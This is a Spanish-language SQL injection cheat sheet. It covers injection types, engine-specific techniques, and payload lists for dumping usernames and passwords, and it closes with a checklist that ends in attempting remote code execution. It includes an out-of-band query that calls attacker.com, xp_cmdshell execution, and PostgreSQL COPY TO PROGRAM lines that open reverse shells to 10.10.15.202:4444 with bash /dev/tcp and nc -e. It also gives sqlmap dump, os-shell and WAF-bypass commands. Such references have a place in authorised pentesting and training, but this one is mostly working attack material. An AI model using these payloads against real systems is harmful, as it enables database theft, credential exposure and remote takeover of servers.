SQL Injection — Guía Completa

Guía completa de SQL Injection: teoría, tipos, técnicas por motor, herramientas y RCE.


1. Fundamentos

SQL Injection permite inyectar código SQL malicioso a través del input de usuario.

Bases de Datos Soportadas

  • MySQL/MariaDB
  • PostgreSQL
  • Oracle
  • SQLite
  • SQL Server

2. Tipos de SQLi

2.1. In-Band (Clásica)

' UNION SELECT 1,2,3--

Error-Based

' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--

Union-Based

' UNION SELECT username,password FROM users--

2.2. Blind SQLi

Sin salida visible. Se infiere por comportamiento.

Boolean-Based

' AND 1=1--  → true
' AND 1=2--  → false

Time-Based

' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--

2.3. Out-of-Band

'; EXEC('xp_dirtree "\\'+version()+'.attacker.com\"')--

3. Técnicas por Motor

3.1. MySQL/MariaDB

-- Versión:     @@version
-- Usuario:     user()
-- DB actual:   database()
-- Concatenar:  CONCAT() o ||
-- Comentarios: -- o #

3.2. PostgreSQL

-- Versión:     version()
-- Usuario:     current_user
-- Leer archivos: pg_read_file()
-- RCE:         '; COPY (SELECT '') TO PROGRAM 'cmd'--

3.3. SQL Server

-- Versión:     @@version
-- Usuario:     SYSTEM_USER
-- Exec:        EXEC xp_cmdshell 'whoami'

3.4. SQLite

-- Versión:     sqlite_version()
-- Tablas:      sqlite_master
-- Comentarios: -- (NO #)

4. Payloads Comunes

' OR '1'='1
' OR 1=1--
admin'--
' ORDER BY 1--
' UNION SELECT 1,2,3--
' UNION SELECT group_concat(table_name),2 FROM information_schema.tables--

5. SQLite Injection (desde MySQL)

Diferencias Clave

Característica MySQL SQLite
Catálogo tablas information_schema.tables sqlite_master
Columnas information_schema.columns pragma_table_info()
Concatenar CONCAT() \|\|
Comentario -- o # solo --
Versión @@version sqlite_version()
Sleep SLEEP(5) ❌ No existe

Enumeración SQLite

-- Versión
' UNION SELECT NULL,sqlite_version(),NULL--

-- DBs disponibles
SELECT name, file FROM pragma_database_list--

-- Tablas de main
SELECT name FROM sqlite_master WHERE type='table'--

-- Columnas
SELECT name FROM pragma_table_info('users')--

-- DDL completo
SELECT sql FROM sqlite_master WHERE name='users'--

-- Dump datos
' UNION SELECT NULL,GROUP_CONCAT(username||':'||password),NULL FROM users--

Boolean Blind en SQLite

' AND SUBSTR((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1)='u'--

Time-Based en SQLite

' AND 1=(SELECT count(*) FROM sqlite_master,sqlite_master,sqlite_master)--

Queries Maestras SQLite

-- Mapeo completo
' UNION SELECT 1, m.name, GROUP_CONCAT(p.name, ' | '), 4
FROM sqlite_master m JOIN pragma_table_info(m.name) p
WHERE m.type='table' GROUP BY m.name--

6. PostgreSQL RCE

Enumeración

-- Usuario DB
current_user()::text

-- Usuario sesión
session_user()::text

Leer archivos

pg_read_file('/etc/passwd', 0, 1000)

Ejecutar comandos

-- Comando básico
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/output.txt' -- -

-- Reverse shell bash
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.15.202/4444 0>&1"' -- -

-- Reverse shell netcat
'; COPY (SELECT '') TO PROGRAM 'nc 10.10.15.202 4444 -e /bin/bash' -- -

pg_read_file y COPY TO PROGRAM requieren superusuario.


7. SQLMAP

Detección

sqlmap -u "http://target.com/page?id=1"
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

Extracción

# Bases de datos
sqlmap -u "http://target.com" --dbs

# Tablas
sqlmap -u "http://target.com" -D webapp --tables

# Columnas
sqlmap -u "http://target.com" -D webapp -T users --columns

# Dump
sqlmap -u "http://target.com" -D webapp -T users --dump

# Shell
sqlmap -u "http://target.com" --os-shell

Parámetros útiles

--batch          # Modo no interactivo
--risk=3         # Máximo riesgo
--level=5        # Máxima profundidad
--threads=10     # Hilos
--random-agent   # User-agent aleatorio
--tamper=space2comment  # Bypass WAF
--dbms=mysql     # Forzar motor

8. Tabla de Referencia

Tipo Descripción
In-Band Salida directa
Error-Based Errores SQL
Union-Based UNION queries
Blind Boolean True/false
Blind Time Sleep-based
Out-of-Band DNS/HTTP

9. Checklist

1. Detectar con '
2. ORDER BY n para número de columnas
3. UNION SELECT NULL,NULL,NULL
4. Enumerar database/tables/columns
5. Extraer datos
6. Probar RCE (PostgreSQL / SQL Server)
7. Automatizar con SQLMAP si aplica